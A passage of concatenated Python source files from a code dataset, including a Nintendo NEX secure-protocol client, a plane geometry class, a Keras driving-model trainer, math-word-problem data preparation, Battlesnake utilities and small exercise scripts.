login_data=None):\n\t\tlocal_station = StationUrl(address=self.s.get_address(), port=self.s.get_port(), sid=15, natm=0, natf=0, upnp=0, pmp=0)\n\t\t\n\t\tif login_data:\n\t\t\tconnection_id, public_station = self.register_ex([local_station], login_data)\n\t\telse:\n\t\t\tconnection_id, public_station = self.register([local_station])\n\t\t\t\n\t\tlocal_station[\"RVCID\"] = connection_id\n\t\tpublic_station[\"RVCID\"] = connection_id\n\t\treturn local_station, public_station\n\t\t\n\tdef register(self, urls):\n\t\tlogger.info(\"Secure.register(%s)\", urls)\n\t\t#--- request ---\n\t\tstream, call_id = self.init_message(self.PROTOCOL_ID, self.METHOD_REGISTER)\n\t\tstream.list(urls, lambda url: stream.string(str(url)))\n\t\tself.send_message(stream)\n\t\t\n\t\t#--- response ---\n\t\treturn self.handle_register_result(call_id)\n\t\n\tdef register_ex(self, urls, login_data):\n\t\tlogger.info(\"Secure.register_ex(...)\")\n\t\t#--- request ---\n\t\tstream, call_id = self.init_message(self.PROTOCOL_ID, self.METHOD_REGISTER_EX)\n\t\tstream.list(urls, lambda url: stream.string(str(url)))\n\t\tDataHolder(login_data).encode(stream)\n\t\tself.send_message(stream)\n\t\t\n\t\t#--- response ---\n\t\treturn self.handle_register_result(call_id)\n\t\t\n\tdef handle_register_result(self, call_id):\n\t\tstream = self.get_response(call_id)\n\t\tresult = stream.u32()\n\t\tconnection_id = stream.u32()\n\t\tpublic_station = StationUrl.parse(stream.string())\n\t\tlogger.info(\"Secure.register(_ex) -> (%08X, %s)\", connection_id, public_station)\n\t\treturn connection_id, public_station\n\t\t\n\tdef request_connection_data(self, cid, pid):\n\t\tlogger.info(\"Secure.request_connection_data(%i, %i)\", cid, pid)\n\t\t#--- request ---\n\t\tstream, call_id = self.init_message(self.PROTOCOL_ID, self.METHOD_REQUEST_CONNECTION_DATA)\n\t\tstream.u32(cid)\n\t\tstream.u32(pid)\n\t\tself.send_message(stream)\n\t\t\n\t\t#--- response ---\n\t\tstream = self.get_response(call_id)\n\t\tbool = stream.bool()\n\t\tconnection_data = stream.list(lambda: ConnectionData.from_stream(stream))\n\t\tlogger.info(\"Secure.request_connection_data -> (%i, %s)\", bool, [dat.station for dat in connection_data])\n\t\treturn bool, connection_data\n\t\t\n\tdef request_urls(self, cid, pid):\n\t\tlogger.info(\"Secure.request_urls(%i, %i)\", cid, pid)\n\t\t#--- request ---\n\t\tstream, call_id = self.init_message(self.PROTOCOL_ID, self.METHOD_REQUEST_URLS)\n\t\tstream.u32(cid)\n\t\tstream.u32(pid)\n\t\tself.send_message(stream)\n\t\t\n\t\t#--- response ---\n\t\tstream = self.get_response(call_id)\n\t\tbool = stream.bool()\n\t\turls = stream.list(lambda: StationUrl.parse(stream.string()))\n\t\tlogger.info(\"Secure.request_urls -> (%i, %s)\", bool, urls)\n\t\treturn bool, urls\n\t\n\tdef test_connectivity(self):\n\t\tlogger.info(\"Secure.test_connectivity()\")\n\t\t#--- request ---\n\t\tstream, call_id = self.init_message(self.PROTOCOL_ID, self.METHOD_TEST_CONNECTIVITY)\n\t\tself.send_message(stream)\n\t\t\n\t\t#--- response ---\n\t\tself.get_response(call_id)\n\t\tlogger.info(\"Secure.test_connectivity -> done\")\n\t\t\n\tdef replace_url(self, url, new):\n\t\tlogger.info(\"Secure.replace_url(%s, %s)\", url, new)\n\t\t#--- request ---\n\t\tstream, call_id = self.init_message(self.PROTOCOL_ID, self.METHOD_REPLACE_URL)\n\t\tstream.string(str(url))\n\t\tstream.string(str(new))\n\t\tself.send_message(stream)\n\t\t\n\t\t#--- response ---\n\t\tself.get_response(call_id)\n\t\tlogger.info(\"Secure.replace_url -> done\")\n\t\t\n\tdef send_report(self, unk, data):\n\t\tlogger.info(\"Secure.send_report(%08X, ...)\")\n\t\t#--- request ---\n\t\tstream, call_id = self.init_message(self.PROTOCOL_ID, self.METHOD_SEND_REPORT)\n\t\tstream.u32(unk)\n\t\tstream.u16(len(data))\n\t\tstream.write(data)\n\t\tself.send_message(stream)\n\t\t\n\t\t#--- response ---\n\t\tself.get_response(call_id)\n\t\tlogger.info(\"Secure.send_report -> done\")\n","sub_path":"nintendo/nex/secure.py","file_name":"secure.py","file_ext":"py","file_size_in_byte":5218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"86986746","text":"import numpy as np\n\nfrom ..datawrappers import Buffer\nfrom ._base import Geometry\n\n\nclass PlaneGeometry(Geometry):\n def __init__(self, width=1, height=1, width_segments=1, height_segments=1):\n super().__init__()\n nx, ny = width_segments + 1, height_segments + 1\n\n x = np.linspace(-width / 2, width / 2, nx, dtype=np.float32)\n y = np.linspace(-height / 2, height / 2, ny, dtype=np.float32)\n xx, yy = np.meshgrid(x, y)\n xx, yy = xx.flatten(), yy.flatten()\n positions = np.column_stack([xx, yy, np.zeros_like(xx), np.ones_like(xx)])\n\n x = np.linspace(0, 1, nx, dtype=np.float32)\n y = np.linspace(0, 1, ny, dtype=np.float32)\n xx, yy = np.meshgrid(x, y)\n texcoords = np.column_stack([xx.flat, yy.flat])\n\n indices = np.zeros((height_segments, width_segments, 6), np.uint32)\n\n for y in range(height_segments):\n for x in range(width_segments):\n i = x + y * nx\n indices[y, x, :] = i, i + 1, i + nx, i + nx, i + 1, i + nx + 1\n\n indices = indices.ravel()\n\n self.positions = Buffer(positions, usage=\"vertex|storage\")\n self.texcoords = Buffer(texcoords, usage=\"vertex|storage\")\n self.index = Buffer(indices, usage=\"index|storage\")\n","sub_path":"visvis2/geometries/_plane.py","file_name":"_plane.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"509907445","text":"import cv2\nimport numpy as np\nimport pandas as pd\nimport pickle\nimport glob\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import shuffle\nfrom os.path import join\nimport os\nfrom model import model\nfrom image import ImageGenerator\n\n#Keras\nfrom keras.utils import plot_model\nfrom keras.optimizers import Adam\nfrom keras.layers import Input\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping, LearningRateScheduler\n\n\n\n\n\nDATA_CSV = '/home/workspace/CarND-Behavioral-Cloning-P3/data_org/data/driving_log.csv'\nLEARNING_RATE =1e-3\nDECAY = .5\nPATIENCE = 5\nBATCH_SIZE = 8\nMODEL_NAME = 'model'\n\ndef load_train_test_data(csvpath=glob.glob(os.path.join('data', '*.csv'))):\n if getattr(csvpath, 'lower'):\n df = pd.read_csv(csvpath)\n elif len(csvpath) == 1:\n df = pd.read_csv(csvpath[0])\n elif len(csvpath) > 1:\n df = pd.concat(\n [pd.read_csv(f) for f in csvpath],\n ignore_index=True)\n else:\n raise ValueError('No csv files found')\n\n center = df.center.values\n speed = df.speed.values / df.speed.max()\n throttle = df.throttle.values\n y = df.steering.values\n c1, c2, s1,s2,t1, t2, y1, y2 = train_test_split(center, speed, throttle, y, test_size=0.2)\n print('chekcc',y2)\n return [c1, s1, t1, y1], [c2, s2, t2, y2]\ndef train():\n # Load dataset\n training_data,validation_data = load_train_test_data(DATA_CSV)\n #print(validation_data[3].shape)\n train_datagen = ImageGenerator(horizontal_flip=False, vertical_flip=True, rotation_range=0, rescale=127.5)\n valid_datagen = ImageGenerator(horizontal_flip=False, vertical_flip=False, rotation_range=0, rescale=127.5)\n\n # Keras inputs\n image = Input(shape=(160, 320, 3), name='image')\n velocity = Input(shape=(1,), name='velocity')\n\n # Keras model\n model = model(image, velocity)\n model.compile(optimizer=Adam(LEARNING_RATE), loss='mse', loss_weights=[1., .01])\n print(model.summary())\n\n # Training\n callbacks = [\n # Save best model\n ModelCheckpoint('./{}.h5'.format(MODEL_NAME), monitor='val_loss', save_best_only=True),\n # Stop training after 5 epochs without improvement\n EarlyStopping(monitor='val_loss', patience=PATIENCE),\n # Polynomial decaying learning rate\n LearningRateScheduler(lambda x: LEARNING_RATE * DECAY ** x)\n ]\n\n history = model.fit_generator(\n generator=train_datagen.flow_from_list(training_data,target_size=(160,320,3),batch_size=BATCH_SIZE, shuffle=True, seed=123),\n steps_per_epoch=training_data[3].size // BATCH_SIZE,\n epochs=100,\n callbacks=callbacks,\n validation_data=valid_datagen.flow_from_list(validation_data,target_size=(160,320,3),\n batch_size=BATCH_SIZE, shuffle=False, seed=123),\n validation_steps=validation_data[3].size // BATCH_SIZE\n )\n\n #with open('{}.p'.format(MODEL_NAME), 'wb') as f:\n # pickle.dump(history.history, f, pickle.HIGHEST_PROTOCOL)\n\n\nif __name__ == '__main__':\n train()\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"90925198","text":"import random\nimport json\nimport copy\nimport re\nimport nltk\nfrom src.data_utils import remove_brackets\nfrom src.lang import InputLang, OutputLang\nfrom src.data_utils import indexes_from_sentence, pad_seq, check_bracket, get_num_stack, get_single_batch_graph, read_json\n\n\n# def get_train_test_fold(data_path, prefix, data, pairs, group=None):\n# mode_train = 'train'\n# mode_valid = 'valid'\n# mode_test = 'test'\n# train_path = data_path + mode_train + prefix\n# valid_path = data_path + mode_valid + prefix\n# test_path = data_path + mode_test + prefix\n# train = read_json(train_path)\n# train_id = [item['id'] for item in train]\n# valid = read_json(valid_path)\n# valid_id = [item['id'] for item in valid]\n# test = read_json(test_path)\n# test_id = [item['id'] for item in test]\n# train_fold = []\n# valid_fold = []\n# test_fold = []\n#\n# for item, pair in zip(data, pairs):\n# pair = list(pair)\n# pair = tuple(pair)\n# if item['id'] in train_id:\n# train_fold.append(pair)\n# elif item['id'] in test_id:\n# test_fold.append(pair)\n# else:\n# valid_fold.append(pair)\n# return train_fold, test_fold, valid_fold\n\ndef get_train_test_fold(ori_path,prefix,data,pairs):\n mode_train = 'train'\n mode_valid = 'valid'\n mode_test = 'test'\n train_path = ori_path + mode_train + prefix\n valid_path = ori_path + mode_valid + prefix\n test_path = ori_path + mode_test + prefix\n train = read_json(train_path)\n train_id = [item['id'] for item in train]\n valid = read_json(valid_path)\n valid_id = [item['id'] for item in valid]\n test = read_json(test_path)\n test_id = [item['id'] for item in test]\n train_fold = []\n valid_fold = []\n test_fold = []\n for item, pair in zip(data, pairs):\n if item['id'] in train_id:\n train_fold.append(pair)\n elif item['id'] in test_id:\n test_fold.append(pair)\n else:\n valid_fold.append(pair)\n return train_fold, test_fold, valid_fold\n\n\ndef prepare_data(pairs_trained, pairs_tested, trim_min_count, generate_nums, copy_nums,\n tree=False, use_lm=False, use_group_num=False):\n input_lang = InputLang()\n output_lang = OutputLang()\n train_pairs = []\n test_pairs = []\n\n print(\"Indexing words\")\n for pair in pairs_trained:\n if len(pair[\"num_pos\"]) > 0:\n if not use_lm:\n input_lang.add_sen_to_vocab(pair[\"input_seq\"])\n output_lang.add_sen_to_vocab(pair[\"out_seq\"])\n if not use_lm:\n input_lang.build_input_lang(trim_min_count)\n\n if tree:\n output_lang.build_output_lang_for_tree(generate_nums, copy_nums)\n else:\n output_lang.build_output_lang(generate_nums, copy_nums)\n\n for pair in pairs_trained:\n num_stack = [] # 用于记录不在输出词典的数字\n for word in pair[\"out_seq\"]:\n temp_num = []\n flag_not = True # 用检查等式是否存在不在字典的元素\n if word not in output_lang.index2word: # 如果该元素不在输出字典里\n flag_not = False\n for i, j in enumerate(pair[\"nums\"]): # 遍历nums, 看是否存在\n if j == word:\n temp_num.append(i)\n\n if not flag_not and len(temp_num) != 0:\n num_stack.append(temp_num)\n if not flag_not and len(temp_num) == 0:\n num_stack.append([_ for _ in range(len(pair[\"nums\"]))]) # 生成从0到等式长度的数字\n\n num_stack.reverse()\n if use_lm:\n input_cell = pair[\"input_seq\"]\n else:\n input_cell = indexes_from_sentence(input_lang, pair[\"input_seq\"])\n output_cell = indexes_from_sentence(output_lang, pair[\"out_seq\"], tree)\n train_dict = {\n \"id\": pair['id'],\n \"type\": pair['type'],\n \"input_cell\": input_cell,\n \"input_cell_len\": len(input_cell),\n \"output_cell\": output_cell,\n \"output_cell_len\": len(output_cell),\n \"nums\": pair['nums'],\n \"num_pos\": pair['num_pos'],\n \"num_stack\": num_stack,\n \"ans\": pair['ans']\n }\n if use_group_num:\n train_dict['group_num'] = pair['group_num']\n train_pairs.append(train_dict)\n\n print('Indexed %d words in input language, %d words in output' % (input_lang.n_words, output_lang.n_words))\n print('Number of training data %d' % (len(train_pairs)))\n\n for pair in pairs_tested:\n num_stack = []\n for word in pair[\"out_seq\"]: # out_seq\n temp_num = []\n flag_not = True\n if word not in output_lang.index2word: # 非符号,即word为数字\n flag_not = False\n for i, j in enumerate(pair[\"nums\"]): # nums\n if j == word:\n temp_num.append(i) # 在等式的位置信息\n\n if not flag_not and len(temp_num) != 0:# 数字在数字列表中\n num_stack.append(temp_num)\n if not flag_not and len(temp_num) == 0:\n # 数字不在数字列表中,则生成数字列表长度的位置信息,\n # 生成时根据解码器的概率选一个, 参见generate_tree_input\n num_stack.append([_ for _ in range(len(pair[\"nums\"]))])\n\n num_stack.reverse()\n if use_lm:\n input_cell = pair[\"input_seq\"]\n else:\n input_cell = indexes_from_sentence(input_lang, pair[\"input_seq\"])\n output_cell = indexes_from_sentence(output_lang, pair[\"out_seq\"], tree)\n test_dict = {\n \"id\": pair['id'],\n \"type\": pair['type'],\n \"input_cell\": input_cell,\n \"input_cell_len\": len(input_cell),\n \"output_cell\": output_cell,\n \"output_cell_len\": len(output_cell),\n \"nums\": pair['nums'],\n \"num_pos\": pair['num_pos'],\n \"num_stack\": num_stack,\n \"ans\": pair['ans']\n }\n if use_group_num:\n test_dict['group_num'] = pair['group_num']\n test_pairs.append(test_dict)\n print('Number of testind data %d' % (len(test_pairs)))\n return input_lang, output_lang, train_pairs, test_pairs\n\n\n# prepare the batches\n# pairs: (input_seq, input_len, eq_segs, eq_len, nums, num_pos, ans, num_stack, id, type, pos_seq, pos_len)\ndef prepare_data_batch(pairs_to_batch, batch_size, inlang_pad_token=0, outlang_pad_token=0,\n shuffle=True, use_group_num=False, use_lm=False, lm_tokenizer=None):\n pairs = copy.deepcopy(pairs_to_batch)\n if shuffle:\n random.shuffle(pairs) # shuffle the pairs\n\n id_batches = []\n type_batches = []\n input_lengths = []\n output_lengths = []\n nums_batches = []\n batches = []\n input_batches = []\n if use_lm:\n attention_mask_batches = []\n token_type_ids_batches = []\n output_batches = []\n num_stack_batches = [] # save the num stack which\n num_pos_batches = []\n num_size_batches = []\n ans_batches = []\n\n if use_group_num:\n group_num_batches = []\n num_graph_batches = []\n\n pos = 0\n while pos + batch_size < len(pairs):\n batches.append(pairs[pos:pos+batch_size])\n pos += batch_size\n batches.append(pairs[pos:])\n\n for batch in batches:\n batch = sorted(batch, key=lambda tp: tp[\"input_cell_len\"], reverse=True)\n input_length = []\n output_length = []\n # pairs: (input_seq, input_len, eq_segs, eq_len, nums, num_pos, ans, num_stack, id, type,pos_seq, pos_len)\n for pair in batch:\n if not use_lm:\n input_length.append(pair[\"input_cell_len\"])\n output_length.append(pair[\"output_cell_len\"])\n\n # input_lengths.append(input_length)\n output_lengths.append(output_length)\n if not use_lm:\n input_len_max = input_length[0]\n output_len_max = max(output_length)\n input_batch = []\n output_batch = []\n num_batch = []\n num_stack_batch = []\n num_pos_batch = []\n num_size_batch = []\n ans_batch = []\n id_batch = []\n type_batch = []\n if use_group_num:\n group_num_batch = []\n\n for pair in batch:\n num_batch.append(pair['nums'])\n if use_lm:\n input_batch.append(' '.join(pair['input_cell']))\n else:\n input_batch.append(pad_seq(pair['input_cell'], pair['input_cell_len'], input_len_max, pad_token=inlang_pad_token))\n output_batch.append(pad_seq(pair['output_cell'], pair['output_cell_len'], output_len_max, pad_token=outlang_pad_token))\n num_stack_batch.append(pair[\"num_stack\"])\n num_pos_batch.append(pair['num_pos'])\n num_size_batch.append(len(pair['num_pos']))\n ans_batch.append(pair['ans'])\n id_batch.append(pair['id'])\n type_batch.append(pair['type'])\n if use_group_num and not use_lm:\n group_num_batch.append(pair['group_num'])\n elif use_group_num and use_lm:\n # 要修改\n group_num = pair['group_num']\n input_seq = pair['input_cell']\n new_group_num = []\n pattern = re.compile(r'\\[NUM]')\n\n # update group_num\n acc_count = 0\n temp_input_seq = []\n for idx, s in enumerate(input_seq):\n if s in ['', '', '', '', '', '', '', '']:\n updated_group_num = []\n for g_idx in group_num:\n if g_idx == idx - acc_count:\n continue\n elif g_idx > idx - acc_count:\n updated_group_num.append(g_idx - 1)\n else:\n updated_group_num.append(g_idx)\n acc_count += 1\n group_num = updated_group_num\n else:\n if s != '' and s != '' and s != ' ':\n temp_input_seq.append(s)\n input_seq = temp_input_seq\n\n input_seg = []\n seq_mapping = {}\n for idx, s in enumerate(input_seq):\n pos = re.search(pattern, s) # 搜索每个词的数字位置\n if pos and idx in group_num:\n input_seg.append(s)\n seq_mapping[idx] = [len(input_seg)-1 + 1]\n else:\n seq_mapping[idx] = []\n # 利用tokenizer来校正group_num\n lm_s = lm_tokenizer.convert_ids_to_tokens(lm_tokenizer.encode(s)[1:-1])\n for ss in lm_s:\n input_seg.append(ss)\n if idx in group_num:\n seq_mapping[idx].append(len(input_seg)-1 + 1)\n # new_group_num.append(len(input_seg)-1 + 1) # 补偿CLS\n\n for idx in group_num:\n if idx < len(input_seq):\n new_group_num.extend(seq_mapping[idx])\n\n # for g_idx in group_num:\n # input_seg = []\n # for idx, s in enumerate(input_seq):\n # pos = re.search(pattern, s) # 搜索每个词的数字位置\n # if pos and idx in group_num and g_idx == idx:\n # input_seg.append(s)\n # new_group_num.append(len(input_seg)-1 + 1) # 补偿CLS\n # else:\n # # 利用tokenizer来校正group_num\n # lm_s = lm_tokenizer.convert_ids_to_tokens(lm_tokenizer.encode(s)[1:-1])\n # # print(s)\n # # print(lm_s)\n # for ss in lm_s:\n # input_seg.append(ss)\n # if idx in group_num and g_idx == idx:\n # new_group_num.append(len(input_seg)-1 + 1) # 补偿CLS\n # # for ss in s:\n # # input_seg.append(ss)\n # # if idx in group_num:\n # # new_group_num.append(len(input_seg)-1 + 1) # 补偿CLS\n\n # check\n # print(pair['id'])\n graph_seq = \"\"\n for idx in group_num:\n if idx < len(input_seq):\n graph_seq += input_seq[idx]\n\n lm_graph_seq = \"\"\n lm_seq = lm_tokenizer.convert_ids_to_tokens(lm_tokenizer.encode(' '.join(pair['input_cell'])))\n lm_dict = lm_tokenizer(' '.join(pair['input_cell']))\n lm_seq1 = lm_tokenizer.convert_ids_to_tokens(lm_dict['input_ids'])\n for idx in new_group_num:\n lm_graph_seq += lm_seq[idx].replace(\"##\", '')\n if len(graph_seq.lower()) != len(lm_graph_seq.lower()) - lm_graph_seq.lower().count('[unk]') * 4:\n print(pair['id'])\n print(' '.join(pair['input_cell']))\n print(\"group_num:\", group_num)\n print(lm_seq)\n print(lm_seq1)\n print(\"new_group_num:\", new_group_num)\n print(graph_seq.lower())\n print(lm_graph_seq.lower())\n print(graph_seq.lower() != lm_graph_seq.lower())\n print(lm_seq1 != lm_seq)\n print(len(graph_seq.lower()))\n print(len(lm_graph_seq.lower()) - lm_graph_seq.count('[unk]') * 4)\n exit(0)\n\n group_num_batch.append(new_group_num)\n\n if use_lm:\n input_batch1 = input_batch\n tokens_dict = lm_tokenizer(input_batch, padding=True)\n input_batch = [] # tokens_dict[\"input_ids\"]\n attention_mask_batch = tokens_dict[\"attention_mask\"]\n token_type_ids_batch = tokens_dict[\"token_type_ids\"]\n\n num_pos_batch1 = num_pos_batch\n num_pos_batch = [] # need to be updated, so clear it\n num_size_batch = []\n\n for input_seq in tokens_dict[\"input_ids\"]:\n new_seq = []\n for t_id in input_seq:\n if t_id == len(lm_tokenizer.vocab):\n new_seq.append(1)\n else:\n new_seq.append(t_id)\n input_batch.append(new_seq)\n\n for t_idx, input_seq in enumerate(input_batch):\n num_pos = []\n for idx, t_id in enumerate(input_seq):\n # if t_id == lm_tokenizer.vocab['[NUM]']:\n if t_id == 1:\n num_pos.append(idx)\n # if len(num_pos) != len(num_pos_batch1[t_idx]): # 检查一致性\n # print(id_batch[t_idx])\n # print(input_batch1[t_idx])\n # print(lm_tokenizer.convert_ids_to_tokens(input_batch[t_idx]))\n # print(len(num_pos))\n # print(len(num_pos_batch1[t_idx]))\n # print(group_num_batch[t_idx])\n # exit(0)\n\n num_pos_batch.append(num_pos)\n num_size_batch.append(len(num_pos))\n input_length.append(input_seq.index(lm_tokenizer.vocab['[SEP]'])+1)\n attention_mask_batches.append(attention_mask_batch)\n token_type_ids_batches.append(token_type_ids_batch)\n\n input_batches.append(input_batch)\n input_lengths.append(input_length)\n nums_batches.append(num_batch)\n output_batches.append(output_batch)\n num_stack_batches.append(num_stack_batch)\n num_pos_batches.append(num_pos_batch)\n num_size_batches.append(num_size_batch)\n ans_batches.append(ans_batch)\n id_batches.append(id_batch)\n type_batches.append(type_batch)\n\n if use_group_num:\n group_num_batches.append(group_num_batch)\n num_graph_batches.append(get_single_batch_graph(input_batch, input_length, group_num_batch, num_batch, num_pos_batch))\n\n batches_dict = {\n \"id_batches\": id_batches,\n \"type_batches\": type_batches,\n \"input_batches\": input_batches,\n \"input_lengths\": input_lengths,\n \"output_batches\": output_batches,\n \"output_lengths\": output_lengths,\n \"nums_batches\": nums_batches,\n \"num_stack_batches\": num_stack_batches,\n \"num_pos_batches\": num_pos_batches,\n \"num_size_batches\": num_size_batches,\n \"ans_batches\": ans_batches,\n }\n\n if use_group_num:\n batches_dict['group_num_batches'] = group_num_batches\n batches_dict['num_graph_batches'] = num_graph_batches\n\n if use_lm:\n batches_dict['attention_mask_batches'] = attention_mask_batches\n batches_dict['token_type_ids_batches'] = token_type_ids_batches\n\n return batches_dict\n","sub_path":"code_bak_v2_local/src/prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":17356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"193881835","text":"\"\"\"\nUseful Utility Functions for Battlesnake\n\"\"\"\nimport math\nimport constants\n\"\"\"\nconvert a pair of board coordinates into the tuple (x, y)\n(used to make sure you are always using the same board cooardinate format)\n\"\"\"\n\n\ndef get_pos(x, y=None):\n if type(x) == type(tuple()):\n x, y = x\n elif type(x) == type(dict()):\n x, y = x['x'], x['y']\n return x, y\n\n\n\"\"\"\nget the Manhattan distance between points A and B,\nSpecial thanks to one of the Victoria 2019 bounty snakes for this adjustment from Pythagorean distance\n\"\"\"\n\n\ndef distance(A, B):\n xA, yA = get_pos(A)\n xB, yB = get_pos(B)\n # get the Pythagorean distance between points A and B\n #dist = math.sqrt(((xB-xA) ** 2) + ((yB-yA) ** 2))\n\n # get the Manhattan distance between points A and B:\n dist = abs(xB - xA) + abs(yB - yA)\n return dist\n\n\n\"\"\"\nget the direction(s) you have to go to get from point A to point B\n\"\"\"\n\n\ndef directions(A, B):\n x1, y1 = get_pos(A)\n x2, y2 = get_pos(B)\n\n moves = []\n\n if x1 > x2:\n moves.append(\"left\")\n elif x1 < x2:\n moves.append(\"right\")\n\n if y1 > y2:\n moves.append(\"down\")\n elif y1 < y2:\n moves.append(\"up\")\n\n return moves\n\n\nif __name__ == \"__main__\":\n print(directions((1, 11), (1, 11)))\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"589108209","text":"###############\n#### CODES ####\n###############\n\nekgCodes = [\"EKG Not Interpretable\", \"EKG Interpretable\", \"EKG Disconnect\",'Annotation Error','My new button']\nppgCodes = [\"PPG Not Interpretable\", \"PPG Interpretable\", \"PPG Disconnect\",'Annotation Error','My new button']\nqosCodes = [\"QoS Incorrect\", \"QoS Correct\",'Annotation Error']\n\n# Color options for annotations.\nekgColorSelector = ['red', 'green', 'teal', 'black','orange']\nppgColorSelector = ['red', 'green', 'teal', 'black','orange']\nqosColorSelector = ['#FF00FF', 'blue', 'gray','orange']\n\n####################\n#### APPEARANCE ####\n####################\n\nppgYRange = [0,5000]\nekgYRange = [-1.5,1.5]\nspo2YRange = [50,100]\nhrYRange = [0,200]\nYRange3 = [0,200]\nYRange4 = [0,200]\nYRange5 = [0,200]\n\n\n# Width and height options for viewers.\nviewerWidth = 1200\nekgViewerHeight = 250\nppgViewerHeight = 250\nspo2ViewerHeight = 100\nhrViewerHeigth = 100\nvitalViewerHeights = 100\n\n# Line color and qos color options.\nekgLineColor = 'navy'\nppgLineColor = 'navy'\nqosMarkerColor = 'red'\n\n##############\n#### MISC ####\n##############\n\n# Starting page before file gets initialized.\ninitializePage = -1\n\n# Initial amount of data to display (in seconds).\nwindowInSecs = 30\n\n# Frequency of PPG signal. Helps determine number of datapoints to grab per window.\nppgFrequency = 125\n\n## Slider attributes for adjusting the amount of data (in seconds) displayed in the window. ##\n\n# Smallest window size possible (in seconds).\ntimeSliderStart = 15\n\n# Largest window size possible (in seconds).\ntimeSliderEnd = 120\n\ntimeSliderInitialValue = windowInSecs\ntimeSliderStep = 15\n","sub_path":"Visuals/annotatorSettings.py","file_name":"annotatorSettings.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"117688314","text":"\"\"\"\n @Author:DarknessFor9\n @DateTime:7/8/19 5:41 PM\n\"\"\"\n\"\"\"\n1-8.匹配所有能够表示Python长整数的字符串集\n\"\"\"\npattern = r'(\\d+)L'\n\n\"\"\"\n1-9.匹配所有能够表示Python浮点数的字符串集\n\"\"\"\npattern1 = r'\\d+\\.\\d+'\n\n\"\"\"\n1-10.匹配所有能够表示复数的字符串集\n\"\"\"\npattern2 = r'\\d+\\.?\\d+\\+\\d+\\.+\\d+j'\n","sub_path":"code/ReModule/practice/8-10.py","file_name":"8-10.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"168120644","text":"#The phrase.py module is to be used when a random phrase is needed\n#!/usr/local/bin/python3\n\nfrom random import choice\n#Start of the random pharse class\nclass ran_phrase:\n def __init__(self, name):\n self.name = name\n\n\n def greeting_phrase(self):\n #creating list of bad phrases\n greet_phrase = [\"What's up, bruv\",\n \"Who sent you here\",\n \"What Cha want?\",\n \"hi, i'm not real. How are you\",\n \"Great day to stay inside, huh?\",\n \"I'm a bot that is still being worked on... please hold\",\n \"Hi.\",\n \"How can I help you?\"]\n print(choice(greet_phrase))\n# test = ran_phrase()\n# test.bad_eat_pharse()\n","sub_path":"30pie/sandypy/phrase.py","file_name":"phrase.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"454961309","text":"class Solution:\n # @param obstacleGrid, a list of lists of integers\n # @return an integer\n def uniquePathsWithObstacles(self, obstacleGrid):\n m = len(obstacleGrid)\n n = len(obstacleGrid[0])\n cache = [[0 for j in range(n)] for i in range(m)]\n for i in range(m-1,-1,-1):\n for j in range(n-1,-1,-1):\n if obstacleGrid[i][j] == 1:\n cache[i][j] = 0\n elif i == m-1 and j == n-1:\n cache[i][j] = 1 - obstacleGrid[i][j]\n elif i == m-1:\n cache[i][j] = cache[i][j+1]\n elif j == n-1:\n cache[i][j] = cache[i+1][j]\n else:\n cache[i][j] = cache[i+1][j] + cache[i][j+1]\n return cache[0][0]","sub_path":"leetcode/unique-paths-ii.py","file_name":"unique-paths-ii.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"537405310","text":"import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n 'new york city': 'new_york_city.csv',\n 'washington': 'washington.csv' }\n\ndef get_filters():\n \"\"\"\n Asks user to specify a city, month, and day to analyze.\n\n Returns:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n \"\"\"\n print('Hello! Let\\'s explore some US bikeshare data!')\n\n while(True):\n city=input(\"Please enter a city name \").lower()\n if city ==\"chicago\" or city==\"new york city\" or city ==\"washington\":\n break\n\n while(True):\n month=input(\"Please enter a month \").lower()\n if month in [\"all\", \"january\", \"february\",\"march\",\"april\",\"may\",\"june\"]:\n break\n\n\n while(True):\n day=input(\"Please enter a day \").lower()\n if day in [\"all\", \"monday\", \"tuesday\",\"wednesday\",\"thursday\",\"friday\",\"saturday\",\"sunday\"]:\n break\n\n print('-'*40)\n return city, month, day\n\n\ndef load_data(city, month, day):\n \"\"\"\n Loads data for the specified city and filters by month and day if applicable.\n\n Args:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n \"\"\"\n import pandas as pd\n if city==\"chicago\" or city==\"washington\":\n df=pd.read_csv(city+\".csv\",index_col=0)\n elif city==\"new york city\":\n df=pd.read_csv(city.replace(\" \",\"_\")+\".csv\",index_col=0)\n\n\n import datetime as dt\n monthdict={\"all\":-1,\"january\":1,\"february\":2,\"march\":3,\"april\":4,\"may\":5,\"june\":6}\n daydict={\"all\":-1,\"monday\":0,\"tuesday\":1,\"wednesday\":2,\"thursday\":3,\"friday\":4,\"saturday\":5,\"sunday\":6}\n if month!=\"all\":\n a=df[pd.to_datetime(df[\"Start Time\"]).dt.month==monthdict[month]]\n else :\n a=df\n if day != \"all\":\n b=a[pd.to_datetime(a[\"Start Time\"]).dt.weekday==daydict[day]]\n else:\n b=a\n\n\n return 